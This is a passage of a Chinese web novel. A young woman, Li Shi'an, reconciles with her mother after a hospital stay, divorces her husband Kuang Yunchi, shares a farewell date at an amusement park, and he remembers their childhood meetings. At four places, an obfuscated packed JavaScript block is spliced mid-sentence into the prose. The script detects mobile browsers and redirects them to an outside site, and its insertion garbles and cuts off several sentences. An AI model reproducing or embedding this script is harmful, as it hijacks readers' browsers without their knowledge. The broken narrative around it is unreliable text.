程菀有些意料之外。还以为李十安最不想吃的就是水果。这次还特意没有放荔枝,怕她讨厌。程菀置换了位置,把水果盘放到离李十安最近的地方。至于其他菜,程菀询问李十安,“这些还吃吗?不吃也没关系。” 李十安壮着胆子,“不吃。” “好,我们不吃。” 刚才是挨个打开便当盒,现在变成挨个关上便当盒盖,程菀把做过的事反着再做一次。餐桌空了好些,腾出位置来等外卖。 外卖店铺离得近,配送花费不了多少时间。 程菀接过外卖袋子,拿出奶茶,插上吸管。拿出螺蛳粉,打开盒盖,掰开筷子。准备好李十安需要的一切。她没有直接递给李十安,而是挨个摆放在李十安身前,让李十安一伸手就能得到。 李十安拿起奶茶杯,喝了一口程菀买的奶茶。人生第一次。 门没有关上,是半开着的状态。螺蛳粉的气味飘到了走廊里,逐渐浓郁弥漫。 有人敲响了病房的门,语气里全是埋怨与质问,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534394|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是你们这儿谁吃螺蛳粉?都臭到我们那儿了,熏人!嗐,我连着问了三个病房,才找到你们这儿,这味飘得多远?医院,公共空间,不要吃这么熏人的东西!” 程菀连声道歉,“不好意思啊,是我在吃,我没想到味道会这么大。我马上把门关上啊。” 那人怒气未消,“你们注意点!” 程菀应道,“好的好的。”她的身体稍向外拦截,没给那人进入的空间,防止他打扰到李十安。随后找到机会,关上了门,替李十安关上了嘈杂。 回头时,李十安正看着程菀,两个嘴角向下撇着,落下两颗眼泪。 程菀愣了下。 李十安急忙扭头,抬起手背抹一下突如其来的泪水。克制了很久了,一团浪潮在胸腔里翻涌,李十安没有办法控制住。 她的每一次试探都得到了正面的反馈,她心中的一切委屈、不甘、埋怨,都得到了温柔的回答。 她的妈妈好像变了。 好像回到了十岁以前,那个开明的、无限溺爱自己的妈妈,以及自由自在的快乐的自己。 李十安一时没有适应过来,只能感受到浪潮在胸腔里奔腾翻涌,破云欲出。直至看到程菀为了她向陌生人低头时,那滴眼泪终于凝聚,溢出眼角。 被程菀清楚地看见。 程菀坐回病床旁,笑道,“允驰说得没错。你要哭的时候,会下意识地撇嘴。” 皮肤白皙,嘴唇红润,欲哭之时,连鼻尖也是红红的。李十安立即抿嘴,憋气。不想哭的,这种场合不应该哭的。 程菀垂下眼睑,声音变得低迷。 “我不知道你会哭。” “十安,对不起。” 爆发,一股冲动翻涌上来,眼泪夺眶而出。李十安把头转得更厉害了些,简直要把自己藏起来。 程菀给李十安递去纸巾。 李十安擦眼泪,暗暗较劲,不断告诫自己。不要哭。不要哭。 平复了一分钟。 眼眶还是红的,鼻尖晕染了红晕。但好歹能够勉强平缓面对程菀了。 李十安拿起叉子,吃一颗剥好皮的无籽葡萄,几瓣掰掉壳的山竹。这样一盘水果,又要花不少钱吧。李十安吸了下鼻子,瓮声瓮气,“妈,其实之前那种一百二一斤的荔枝真的挺好吃的,贵有贵的道理。” 程菀下意识拿起手机,“我马上买。” 李十安忙阻止,“不用不用,太贵了……我就是……随口一说。” 想说的是,她不讨厌荔枝。 她不讨厌她。 程菀笑道,“没事,买,咱家也不差那百把块钱。” 买了五斤,程菀特意写上备注:[要早上现摘的。] 放下手机,程菀发现螺蛳粉没怎么动,热气不如之前那般蒸腾。她催促李十安,“快吃吧,别凉了。多吃点。”说完话,察觉这样似乎不妥当,忙又补充,“不想吃也没关系的。” 李十安拿着筷子,挑几根粉条,夹住中间,再夹住尾部,把粉条环绕挂在筷子上。她低着头,声音很轻。 “妈,别被我拖累了,你也应该有自己的人生。” 没有抬头的,一直盯着粉条。 程菀看向了李十安的眼睛。 李十安恢复为平常聊天的语气,开玩笑,“我刚刚这句话是不是很有哲理?” 程菀红了眼眶,但仍旧是笑着的,“你说的话,哪句没有哲理?” “那是。”李十安得意地轻轻晃了晃。她把碗推向程菀一些,问道,“妈,你要不要尝尝这个?” 程菀微蹙眉,“这东西……真的好吃吗?” 李十安举高筷子,“尝尝看?” 程菀犹豫片刻,终于低头,吃了一小筷子。发出一声若有深意的,“嗯——” 李十安试探,“怎么样?” 程菀咀嚼回味,深思熟虑,最终回答,“不好吃。” 两个人都笑了起来。 李十安热情,“再尝一口。” 程菀拒绝,“不要。” “那你尝尝奶茶。” “嗯。” “好喝吗?” “嗯——确实挺好喝。” “桂花乌龙也好喝,栀子龙井也不错。” “还挺有经验?小馋猫。” “嘻嘻——” 春风吹进了窗户。天蓝,澄澈。夕阳洒在窗棂上,淡雅温柔。窗边的玻璃花瓶里,绽放一朵粉色的鲜花。 等待了二十六年的鲜花。 28. 晚餐 出院这天,全家出动。况允驰开车,李赟搬行李,程菀陪着李十安坐后排位置上。 车行驶缓慢。 路过景和西路,熟悉的地方。李十安下意识以为到家了。然而车继续行驶着,往南汀方向驶去。 李十安问,“去况允驰家?” 况允驰抬眸,透过后视镜看了看李十安。 “嗯。”程菀说,“你们小两口,自己住。” 小两口。它还在的时候,这是一个顺理成章的、自然普通的词语。它不在了,“小两口”这个词语,在李十安听来,竟有一些陌生。还需要适应一下。 *** 那一个月,李十安的饮食起居比较规律。上午睡懒觉。中午程菀做了饭菜拿过来,陪李十安吃饭。下午独自休息。晚上况允驰回家,给李十安做晚饭。 况允驰的生活也变得规律。以前偶尔会加班,有时回到家已是十点多。现在是一点班也不会加,几乎每天准时六点下班到家,有时甚至会提前。至于出差,更是不可能的情况。 李十安听到过况允驰打电话,是在做晚饭的时候。她去厨房,想问问看况允驰有没有收到程菀让人寄的车厘子的快递短信。况允驰那时正在和别人通话,眉宇严肃。她不便打扰。 “去不了。” “去杭州待一个月,太久。” “我手头项目已经全部结束。” “开不了。” “给他们机会。” “嗯。” 和工作有关的内容,李十安也不方便听,自觉走开了些。 感觉他工作上好像出了些问题。她想问问的,但又实在不好意思问,怕过界,怕打扰到他。 *** 周一下午,许书妍悄悄给李十安打电话,告诉李十安,“况允驰被约谈了。” 李十安有些惊讶,又有些意料之中。确实感觉况允驰最近工作似乎是不对劲。“什么情况?”李十安问许书妍,“他为什么被约谈?” “说他这段时间不在状态。” 不参与任何项目。纪总亲自部署的安排,况允驰一味推掉,连推三个项目,其中一个还很重要。同时不参与任何加班。到点下班,比时钟还准时。甚至有一次方总在场的情况下,况允驰也直接闷声撒腿走人。 “知道他拽,但也不能拽成这样吧?”许书妍碎碎念。 李十安担忧,“被约谈……严重吗?” “严重!”许书妍语气加重。 况允驰被纪总叫去办公室后,许书妍假装路过办公室门外,来回路过三次,从纪总办公室没关严实的一条缝隙里,偷听到纪总说出的一句很直接的话。 “你以为公司没了你真转不动?别太狂。” 听到的那一刻,许书妍的心也跟着收紧一下。 她咋舌,转而又说,“但也不算太严重。我听周森讲的,方总把这事压了下来。说不是什么原则性的大错,不用这样大动干戈。” 李十安松了半口气。但仍有半口气仍然吊着。 许书妍犹豫着,“十安,有些话我不知道该不该跟你说。” “嗯?”李十安感觉到和自己有关。 许书妍躲在楼梯间里,说话有些许回音,“它的事,还有你落水的事,对他打击好像挺大的。感觉他特别自责。” 是么……李十安心想。况允驰在李十安面前,表现得冷静理智,处理事情井井有条。她不知道他理智的外表下是这么一种状态。 “我怕他再这么下去,迟早会捅娄子。”许书妍说道,“现在是没犯什么原则性的错误,那万一哪天……” 话没说完。李十安也已经明白了事情的隐患。 许书妍提醒李十安,“你俩之间的心结,要不找个机会摊开来说说?在事情还来得及之前,你劝劝他。估计只有你的话他才听得进去。” “嗯。” “今天只是约谈,明天谁知道又会是什么呢。” “是呐。” 李十安应着,实际头脑里没什么思绪,有一点迷迷糊糊的感觉。 *** 晚上吃饭时,况允驰又接到了工作上的电话。他给对方说的还是那句回应,“嗯,不去。” 李十安不了解前因后果,猜测可能又是哪个项目,让况允驰接手,况允驰一如既往地拒绝。 挂掉电话,餐桌上恢复平静。 李十安咬一小口白米饭,酝酿一下,问道,“是让你接手项目吗?” 况允驰顿了下,“嗯。” 李十安追问,“你不接?” “嗯。” 李十安犹豫问道,“是……因为我吗?”因为要照顾她,所以拒绝了一切项目。因为要拼尽全力守在她身边,所以排除外在的一切阻力。 况允驰淡然道,“不是。” 当然是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544469|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会这样回复的。这样问他,他肯定会说不是。李十安咬着筷子,低头思索。 这该怎么劝啊。 *** 周三要去医院复查。况允驰准备请一天假,陪李十安一同前往。李十安早有预料。 “我妈陪我。”李十安解释,“她跟那边医生有联系,她得亲自去才行。” 况允驰没有要停下的意思,“我送你们。” “不用不用。”李十安坚持,“我妈开车来接我,很方便。” 她的态度坚决。其实真正想说的是,想让他专心工作,不用操心她的事。但没说出口,因为知道他也不爱听这些。 *** 检查很顺利。李十安和程菀去的时间恰当,正好错过上一轮高峰,没怎么排队,很快完成全部事项。 回程,车缓慢行驶。 又一次路过景和西路,熟悉的地方,甚至看到了十一楼的窗户。可毫不停留地继续往前走了。 李十安心里冒出一句话,“过家门而不入。”她看着窗外,自言自语嘀咕,“不回家了啊。” 程菀侧头。如果没猜错的话,不回家,是指不回景和西路的家。于是程菀立即指挥李赟,“调头。” 调头,带她回家。 *** 还是怀孕那会儿,李十安搬去的况允驰家,自那之后一直没回这里。像是有几年那么长。 有的地方,即便很久没回,只要一踏入其中,熟悉的记忆便奔涌而来。 李十安推开了卧室的门。墙上的小猫挂画,桌上的复古台灯,米色的波点床单,纸盒里用了一半的抽纸巾。没有变样。一切都还是熟悉的样子。她开玩笑,“你们没用来做库房?” “怎么可能。”程菀说,“这间房永远给你留着。” 李十安笑了一下,张开双臂,躺到床上,陷入棉被构建的柔软怀抱。 似乎做了一个回家的梦。出门远行的旅人,披星戴月回到故乡。 李十安侧身,喃喃细语,“妈,我想……” 程菀反应了一下,明白了李十安的意思。 “想就去做吧。” *** 晚饭,仍旧是两个人,面对面。 李十安拿着筷子,搭在碗边,停顿片刻,终于说出口。 “况,我们离婚吧。” 况允驰愣了下,抬起头来。 “嗯?” 29. 麦片 离婚。 有预感,同时也是最不愿听到的词语。 况允驰问,“为什么。” “因为……”李十安回答,“我们本来就只是普通朋友。” 况允驰喃喃,“相处一年,还只是普通朋友。”没有么。哪怕一点点的改善。 有些难过,但李十安还是把话说了出来,“我们……本来就是因为它才结婚的。可现在它……” 它不在了,也没有了继续这段婚姻的理由。 “可能是知道我们实际上并没有准备好,它才选择回去的。”李十安眼神暗淡。聪明的小孩,不想诞生在匆忙组建的家庭里,面对手忙脚乱的父母。 本就是段意料之外结合的婚姻。 “其实,一直以来,我以为的婚姻,并不是我们这样的。”李十安可能是从小受到电视剧的影响,以为正确的模式是,两个人相爱,然后结婚。后来当然知道,结婚除了相爱外,还有另外一种模式,叫作将就。 她和他,好像就属于将就。 “总是觉得,在这样的年纪就踏入一种将就的婚姻,有点不甘心。”她不甘心。人生进展太快,好像被抠去了名叫青春的那一半。 “我刚毕业,甚至还没开始工作。成年后的人生,才刚刚开始。”李十安说,“你也是。博士,特聘,最年轻的项目组长。如果没有我的拖累,未来一定是一个了不起的人。” 况允驰否认,“我不认为你会拖累我。” 李十安摇了摇头,“我知道的。你被约谈了。” 因为她的关系,他的事业不仅停滞不前,甚至有倒退的风险。这段时间以来,他的事业没看见任何好转。不应该这样的。 “我已经拖累我妈二十几年了,我不想再拖累你。”李十安苦笑着,“我不想成为任何人的累赘。” 不想再做一个被照顾的女儿,或是一个被照顾的妻子。只想成为独自立主的自己。 他明白的。他一直知道她最想要的是什么。 所以沉默了。 李十安轻叹一口气,“或许从一开始就是错的。” 一开始,她为了逃离原生家庭的束缚,逃进了他的家。那时满心欢喜,以为是解脱。可现在想来,最初的这一步,或许恰恰走错了。想逃离原生家庭,没问题,可应该靠自身的努力,而不是靠嫁给一个男人。 “有种懦弱的感觉。”李十安开玩笑。 救她的,应该是她自己。 “现在的话,好像慢慢在捋清这个关系。”李十安说,“但脑袋还是乱得很,需要花点时间静一静。” 需要去寻求一个关于自由的答案。 况允驰低声道,“我陪你。” 李十安摇头,“不能再耽误你的时间了,已经打扰你这么久了。”心里已经特别过意不去了。李十安放下筷子,看向况允驰,认真诚恳,“抱歉,把你的人生搅得一团糟。” 况允驰垂下眼睑,“我从不觉得我的人生很糟糕。” 一句心里话。但在她听来,只是一句客套。 她说,“趁现在还有机会,我想修正我们的人生。” 他在餐桌下攥紧拳头,没有应答。 光源四散,他们的影子多而淡,重合交叠,环绕成圆。 她又问了一句,“可以吗?” 沉默。良久。他终于缓慢松开紧握的拳头,抬头,对她笑了一下。 “嗯,我支持你。” *** 离婚手续有些复杂,要叫人跑好几次,准备许多资料,等待一段审核的时日。 等待的这段时间,李十安准备提前搬出了况允驰家,回自己家住。程菀和李赟来接的李十安。照例是李赟开车,程菀和李十安一同坐在后排。 车驶出车库。 按理是该一直往右行驶的,回家的路在景和区。可才往前通行两百米,就在矗立着蓝色标识的地方,调头。完全不同的道路,背道而驰。 李十安有些惊讶,“不回家吗?” 程菀解释,“先带你去个地方。” 以为要去的地方,是某个叔叔或者阿姨组的饭局,吃顿中餐。以前就总是这样。他们的饭局,总是带上李十安。没想到车最终停下的地方,是杏知区的一个楼盘。已经完工的楼盘,绿化和基础设施完全配齐,甚至有好些家庭入住。 李赟驾轻就熟地驶进车库,停在一辆白色轿车旁的空位上,下车,“这里,3号楼。” 李十安似乎预料到了什么。直到一路跟随在他们身后,走到11楼的户门前,开门。 迎接一个新世界。 “你自己的家。”程菀笑着。 李十安愣了,头脑混沌。 点亮灯光。通透的清澈的空间。有薰衣草的味道。程菀在一旁碎碎念。 “龟背叶好养,没事浇浇水就行。” “电视遥控器有两个,怪麻烦。我说安投影,你爸非说安电视。” “这个落地灯只是起到一个造型的作用。不喜欢的话可以换。” “冰箱带有语音。没事可以和冰箱说话。” “对,把你指纹录了。” 想起了什么,程菀催促李赟,“差点忘了,钥匙给我。” 钥匙,李十安还以为是房间的钥匙。但是进来的时候明明看见是密码锁。李十安心想,或许是备用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李十安应道,“嗯。”嘴上是这么应和的,实际心里的想法是,怎么可能遇到困难就直接去找一把手,搞出那么大的动静。她能安安静静度过每一天就不错了。 况允驰问,“入职时间是下月13号?” “嗯,通知上是这么说的。” “13号……” 两个人都想到了什么。 “12号……中午1点。”李十安委婉提醒。 况允驰应道,“嗯。” 12号,冷静期结束,去民政局办理手续,正式离婚。 30. 花火 中午一点,两个人都到得准时。 大厅里零星分布着些许办事的人,各自忙碌。有的兴奋碎碎念,有的各自玩手机。办事窗口有限,需要排队。 况允驰和李十安坐在等待区。 没有交谈。好像和这段婚姻有关的话题,该说的话都已经说得差不多了。强行找话题来聊,会让已经微妙的气氛,变得更加微妙。 李十安是这样认为的。 况允驰有些失神。 等待不久,到了他们的轮次,两个人去到办事台前,并排坐下。 办事不费脑子,工作人员说什么,李十安就应什么,照做。让提交户口本身份证,李十安就拿出准备好的资料。让提交照片,李十安就拿出照片。让两人在签名区签字,李十安就拿起笔签字。 她签好了字。 抬头时,况允驰仍没有动笔,单单是靠在座椅靠背上,眼睛看着台上的资料,但眼神似乎没有焦点。走神,不知道在想什么。 工作人员询问一句,“先生?” 李十安小声提醒,“况。” 况允驰才终于回神。抬眸。看向了她。却又立即移开视线。他坐直了一些,俯身到台前,拿起笔。 该签字了。 签字离婚。 后续的流程进展得很顺利。他们的结婚证,盖章作废。新鲜出炉的离婚证,简直烫手。他把离婚证塞进包里,不去多看一眼。 走出办事大厅,时候尚早。天气晴朗,天空是深幽的蓝色,白色云团轮廓清晰。 况允驰问李十安,“下午有空吗?” “倒是没什么事。”李十安反问,“怎么了?” “我想……请你约会。” 相处了那么久,甚至经历了结婚怀孕,可两人之间还从来没有过一次正经的约会。 况允驰声音很低,“当作告别。” 李十安明白了况允驰的意思,爽快应允,“嗯。” *** 约会在游乐园里。 人算多的,来来往往,欢声笑语随处响起,热闹喧嚣。彩色建筑缤纷耀眼。蓝色蘑菇、红色屋顶、黄色城堡、黑色烛台,构成让人眼花缭乱的童话世界。 他们穿梭在其中。 最开始玩的是过山车。况允驰下意识想坐最后一排,因为担心列车在空中上下奔腾,李十安会害怕。可转念一想,那可是李十安。她怎么可能会是一个坐最后一排的胆小鬼。他又不是不了解她。 况允驰问,“坐第一排?” 李十安欣喜点头,“嗯!” 风很热烈,扑面而来。一条红色长龙划破苍穹,在空中旋转飞舞。她是长龙的眼睛。随着长龙奔腾。很过瘾。 下车后,走下站台,休息一阵。 随后想坐摩天轮,他们仰头寻找摩天轮的踪迹。 “在那边!”李十安轻拍况允驰的肩膀。 被层层树林遮掩,巨大的白色半圆矗立在树林之后,缓缓流淌,映满整个眼帘。 他们向着庞然大物走去。 路过一座石桥,桥边的小湖泊里,绿色的毛毛虫模样的小列车,正攀岩到轨道顶端,即将俯身往下冲。况允驰手快,拽住李十安的胳膊,往后带一步。毛毛虫快速向下,划破平静湖面,溅起丈高的水幕。水花四散,骤雨那般扑向岸边,惹出行人的尖叫惊呼。 “惨了,他们得淋透。”李十安心有余悸,“幸好你反应快。”不然淋透的人,就是她自己了。淋透了多尴尬。 继续往前走。他们顺利渡过了小桥。顺利踏上了摩天轮。 天空变得触手可及。拉进了与云团之间的距离。似乎是闯入了动漫场景,成为灵动场景的一部分。来到了更高处,游乐园的整体画面收入眼底。李十安贴在车窗上,往下看。脑海里不由自主地开始规划接下来的行程。 去鬼屋。听说是来了几个特别好看的NPC,去看看到底是惊悚更刺激感官,还是颜值更胜一筹。 去海盗船。在腾空与失重之间来回切换,重温小时候的记忆。 吃棉花糖。她吃粉色的,他吃蓝色的。最近掌握了一个快速吃棉花糖的技巧。如果不介意的话,她还可以给他展示一下。 吃蛋仔糕。其实刚入园就看中了那家蛋仔糕,闻到了浓郁的香味。只是排队的人太多了。不知道等这一阵热闹过去,排队的人会不会少一些。希望如此。 这样想来,行程挺满。 “托你的福,还可以来一趟游乐园。”李十安说,“已经好几年没来过了。” 况允驰问,“喜欢?” “嗯。” 况允驰应道,“好,陪你玩尽兴。” *** 把想玩的几个项目全部玩了一遍,想吃的东西挨个品尝。这一趟游乐园的旅途,对李十安而言,是没有遗憾的。 一直玩到了晚上八点。 虽然吃了好些小吃,但都不是正餐,不能算正式的晚饭。想着是告别之旅,又被况允驰招待了一下午,李十安心里过意不去,提议道,“我请你吃晚饭。想吃什么?” 况允驰犹豫一下,“如果你不介意……其实我准备了便当。” 做的都是李十安爱吃的菜。可乐鸡翅、盐焗虾、蒜蓉排骨、青柠鲈鱼,以及银耳汤和水果切盘一类小吃。配套买了移动冰箱,放在后备箱里,把菜肴挨个冷藏保存。况允驰找到服务台,借到微波炉,加热菜肴。 环顾四周,只在一棵梧桐树下,才有一条黄色木质长椅。枝繁叶茂,路灯映出叶片斑驳光影。便当盒整齐摆放长椅中央。他坐左边,她坐右边。 况允驰递给李十安一双木筷,一碗白米饭,冒着些许热气。 “抱歉,吃饭的环境寒酸了些。”况允驰说。 “没有。”李十安环顾四周,“这样的环境才最有氛围。” 她吃了一只盐焗虾。虾是全部剥好的,剔了虾线。小巧一只,一口含在嘴里,完全入味。 搬去新家快一个月了。就有快一个月没吃过况允驰做的饭。之前不觉得有什么,现在再次品尝,过去一年的相处点滴回忆,逐渐浮现,萦绕着一种怀念的味道。 忽然有些舍不得。 她感慨一句,“这样想来,以后再也吃不到你做的热乎乎的晚饭了呐。” 况允驰问,“会记得吗?” “嗯?” “我是说……饭菜的味道。” “那肯定。”李十安举高了碗,“你做的饭,全世界最好吃。” 况允驰笑了下。 不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573037|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是玩得饿了,还是饭菜太合口,李十安吃得挺多,停不下来。况允驰给李十安夹菜,看她喜欢吃什么,就给她夹什么。不过他自己,一直是没怎么吃的,光是在照顾她。 *** 江边放起了烟花。 他们正好收拾完碗筷。听见轰隆的动静,回头,蓝色花火已在夜幕里热烈绽放。 他陪她去了江边。 她看烟花很认真。仰头,脸颊被照亮,烟花倒映在她的眼眸。他的眼睛里是她看烟花的模样。 没来由地红了眼眶。她悄悄用指腹擦去眼角的泪珠。 “呐——”李十安双手趴在石栏上,“其实以前最羡慕烟花,义无反顾冲上天空,砰、砰、砰——” 况允驰喃喃,“最羡慕的是,义无反顾。” 李十安轻声回应,“嗯。” 况允驰问,“想义无反顾做什么?” “追求自由。” 因为“乖乖女”这个标签,过去那么些年,一直活在规则和约束里。无论在家还是在外,都得时刻扮演懂事、听话、乖顺的女生。 一个牢笼。渴望冲破的牢笼。 “想要追求自由。”李十安说,“不过,想要的自由不是文身、染黄毛、抽烟……”她顿了下,“酒还是可以喝几口的。” “啤酒?” “嗯……白酒实在喝不惯。”李十安接续刚才的话,“想要的自由其实是——” 说到一半,断了话头,似乎有些不好意思。 况允驰问,“是什么?” 李十安难为情地笑了一下,“很简单的,就是过一种诚实的生活方式,按照自己的身体意愿行事,困了就睡觉,饿的时候就吃饭,爱的时候不必撒谎。” 她说完,瞄一眼况允驰,“很没有出息,对吧?” 况允驰看向李十安,“我觉得很酷。” 李十安笑道,“你是第一个说我酷的人。” 江面倒映出整座城市的霓虹。 李十安问况允驰,“你呢?有什么打算?搬去蔚蓝湖?”蔚蓝湖的房子弄好了。如果没离婚的话,原计划是他们两人一起搬过去的。 况允驰说,“再看。” 江边烟花腾空。她再次仰头。 震耳欲聋的绽放,对称的球形,来自外太空的彩色雨,降落在她的眼睛。 “十安,祝你身体健康,吃热乎乎的晚饭。” “嗯,你也是。” 电话铃声响起。是许书妍打来的电话,告诉李十安她快要到达附近十字路口,但遇上交通管制,没办法开车到江边,只能让李十安过去找她。车流量大,能够停靠的时间不多,所以需要稍微抓紧些。 李十安向况允驰解释,“我该走了。明天入职,还有一些需要准备的东西,请了书妍帮忙。” 时候不早了。弦月挪了方位。薄云拉扯,弥漫扩散,透露银白月光。 况允驰笑了笑,轻声道。 “去吧。” 花火漫天,混入繁星,点缀整个夜空。 目送她的背影走远,直至消失在转角。 收回视线,仰头。 缤纷斑斓的世界,此起彼伏的绽放声响,烟花从夜幕里滑落。 烟花从他眼角滑落。 31. 涟漪 周森攒局,非要给况允驰办一场party,庆祝况允驰恢复单身。 人多,全是男人。场面盛大,还特意请人装扮一番,在包厢里摆放满黑色气球。 周森举着话筒站在屏幕中央。因为结婚又离婚的事,只有少数几个人知道,所以周森用的话稍微含蓄一些,只高声说了一句,“为了庆祝况允驰被评为年度最有价值的黄金单身男!”起哄扬起一阵掌声。 在热闹喧嚣中,周森本来想忽悠况允驰来到屏幕中央,发表几句获奖感言,但随便想想都知道,况允驰是不可能来的——他就这么靠在沙发一角,连站都不愿意站起来。 于是周森主动跑了过去,搂住况允驰的肩膀,悄声说道,“恭喜哥们儿,重获自由!” 周森接着起哄,气氛热烈,在场的人玩闹沸腾,高举酒瓶向况允驰干杯。况允驰笑着,举起酒瓶回应。 “砰——” “砰——” “砰——” 玻璃酒瓶被晃得清脆响动。 况允驰仰头,一口喝完了一瓶啤酒。不停吞咽,喉结很突出。 周森还想撺掇况允驰来一首歌,被况允驰回复了一个字,“滚。”周森嬉皮笑脸,握着话筒跑回包厢中央,声情饱满抑扬顿挫地唱一首歌。 “为何你双眼没看破,难道我血肉还不够赤裸。” 况允驰笑了下。不愧是好兄弟,懂得怎么才能往他心窝子里插刀。 他又打开了另一瓶啤酒,仰头,喝了半瓶。时星楠走过来,酒瓶吊在指缝间。用瓶底碰一下况允驰的瓶身,声音压低,“不管你究竟心情如何,气氛都到这里了,还是祝你单身快乐。” 时星楠没喝,光是盯着看况允驰举起酒瓶,喝完了剩下的半瓶酒。 有意思。就喜欢看理智的人慢慢崩溃。 啤酒没度数。恨啤酒没度数。 屋里闷,况允驰闷得不大舒服,独自起身走出了门。走到三楼的露天花园里,一个小角落,坐在花台上。 记不得刚才是谁给了一支烟。已经一年没抽烟了,这次没忍住。点燃星火。白雾缭绕。他的侧脸昏暗朦胧。 长叹一气—— 她不记得了。其实他们曾经见过好多次面。 *** 小学五年级,况允驰随父母回到月影镇,准备转学进入小学。 七月,盛夏炎热。 付雯娜带着况允驰拜访副校长,商量转学事宜。结束之后,走在回家的路上。百货店前,碰到了迎面而来的程菀和李十安。 那是他第一次见到她。 付雯娜和程菀,也有十二年没见过面了。当然在人生中占据特殊位置的人,即便再久没见面,只一眼也能认出来。 “诶——” “诶——” 程菀问,“什么时候回来的?” 付雯娜答,“上个礼拜,刚回来。” “是彻底回来了?还走吗?” “这个不一定。” “住哪儿?” “雨花巷,搞了栋房子。你呢?” “单位修了家属院,住家属院里。” “单元楼?正经的,早该修了。” 程菀一直牵着李十安的手。况允驰沉默站在付雯娜身边。 李十安仰头,上下打量况允驰。况允驰低垂眼眸,盯了回去。 她的鼻梁上有一颗小巧的痣。 程菀和付雯娜聊得投入,过了些许时候,才想起身边的各自的小孩。 付雯娜问,“你女儿?几岁了?” 程菀答,“十岁。” “巧了,和我儿子同龄。” “巧了,竟然是同一年。” “听说你是和李赟在一起了?” “嗯。你呢?和况为。” “嗯。” “大差不差。” “闺女真乖。叫什么名字?” “李十安。” “我这个叫况允驰。” “况允驰。” 李十安压根没听大人们的介绍。她的眼光一直放在况允驰身上,想着这人怎么长的,这么高,比她高出了一个脑袋。 记忆里只有高这一点了,其余的事完全没有印象。 * 新学期开学,况允驰转入月影小学,读五年级一班。他的座位在倒数第三排的靠窗位置。周一,按照计划去上学。踏进教室时,发现自己的座位上,有个女生。 况允驰走了过去,敲了敲课桌,“这是我的位置。” 李十安抬头,“我的。” “你好好看看。” 况允驰翻出抽屉里的笔盒。是他昨天报道时,顺手塞进抽屉的。打开盒子,盒盖上用黑色水笔写得清清楚楚:[五年级一班,况允驰。] “一班?”李十安环视四周,察觉周围的人确实大多不认识。她伸长脖子看门外的门牌,是一班没错。她耸耸肩,“走错了。”她读的是二班。 就这么潇洒地走了。没说对不起,没说不好意思。 况允驰看一眼李十安的背影,不知不觉又多看了一眼。 * 秋天,放学,路过一条小巷。况允驰偶然发现李十安躲在巷子里。她是背对着他的,蹲着。看不清到底在做什么,只看见肩膀耸动。 况允驰好奇,走近一些。闻到了辣条的味道,听见了塑料包装袋之间的窸窣摩擦。他嘀咕一声。 “喂。” 李十安被吓一跳,紧急回头,辣条慌乱地藏在身后。 原来是在背着人偷吃辣条。背着谁?或许是班主任的威吓,或许是家里父母的严格规定。总之是一个让她“闻风丧胆”的人。 她发现站在面前的,同样也是一个学生,不足为惧。气势一下就涌上来了。她站起来,趾高气昂,凶恶地警告他,“当没看见,别到处乱说。” 这次换况允驰学李十安之前的模样,耸耸肩,无所谓的模样,转身潇洒地离开。没给她明确的回答。没说到底会不会告密。 实际当然是不会告密的。不知道为什么,他就是想吓唬吓唬她。 * 冬天,上学之前,况允驰去街边水饺店吃早饭。李十安比况允驰先一步踏进水饺馆。 看得出来,她是熟人,进门便笑盈盈向老板娘打招呼,点了一碗水饺,“小碗,猪肉香菇馅的,要油辣子,撒芝麻,不要葱,要香菜。”老顾客,吃的肯定也是最经典的口味。 况允驰随后踏进店铺,向老板娘点了一碗水饺,“做法和刚刚那个女生的一样。”这样最省事。 李十安坐在左边角落里,况允驰坐在店铺右边,中间隔了一列餐桌餐椅。 他看了她一眼。她也抬头,回看一眼。不过很快又低下头去,继续玩弄她手腕上新买的蓝花楹手表。 对他完全没印象了呐。 * 过年之前,况允驰最后去了一次水饺馆。 李十安不在。 况允驰坐在熟悉的角落里,独自品尝最后一碗水饺。 按照父母的安排,年后就又要转学了,离开月影镇。在这里只待半年。 匆忙而过的、只剩下模糊印象的半年。 ** 再一次见到李十安,是高二下学期期末的全市统考。 那时,他们都在青山读书。况允驰读青山三中,考场被分配在路松中学。李十安读路松中学,考场被分配在本校。 七月,夏日蝉鸣。 